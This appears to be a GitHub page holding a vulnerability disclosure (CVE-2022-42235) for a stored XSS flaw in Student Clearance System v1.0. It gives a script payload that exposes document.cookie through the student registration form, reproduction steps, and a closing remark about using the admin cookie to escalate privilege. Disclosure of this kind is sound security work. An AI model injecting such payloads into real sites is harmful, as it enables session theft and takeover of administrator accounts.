Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Stored-XSS/poc
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
31 lines (23 sloc)
1.02 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Exploit Title: Student Clearance System - Stored XSS | |
| # Exploit Author: Pratik Shetty | |
| # Vendor Name: beedyboy | |
| # Vendor Homepage: https://www.sourcecodester.com/php/13341/student-clearance-system.html | |
| # Software Link: https://www.sourcecodester.com/download-code?nid=13341&title=Student+Clearance+System+using+PHP%2FPDO+with+Source+Code | |
| # Version: v1.0 | |
| # Tested on: Parrot GNU/Linux 4.10, Apache | |
| # CVE: CVE-2022-42235 | |
| Description:- | |
| A Stored XSS issue in Student Clearance System v.1.0 allows to inject Arbitrary JavaScript in Student registration form. | |
| ` | |
| Payload used:- | |
| <script>confirm (document.cookie)</script> | |
| ` | |
| Parameter":- | |
| Full Name: <script>confirm (document.cookie)</script> | |
| ` | |
| Steps to reproduce:- | |
| 1. Go to http://victim.com/clearance/admin/students.php | |
| 2. In that go to "Students" panel where you can add new student, and put your payload in "First Name" | |
| 3. Now fill the other details and save it. | |
| 4. Goto admin panel click students, you can see our xss payload was triggered | |
| 5. We can use Admin cookie to escalate our privilege. |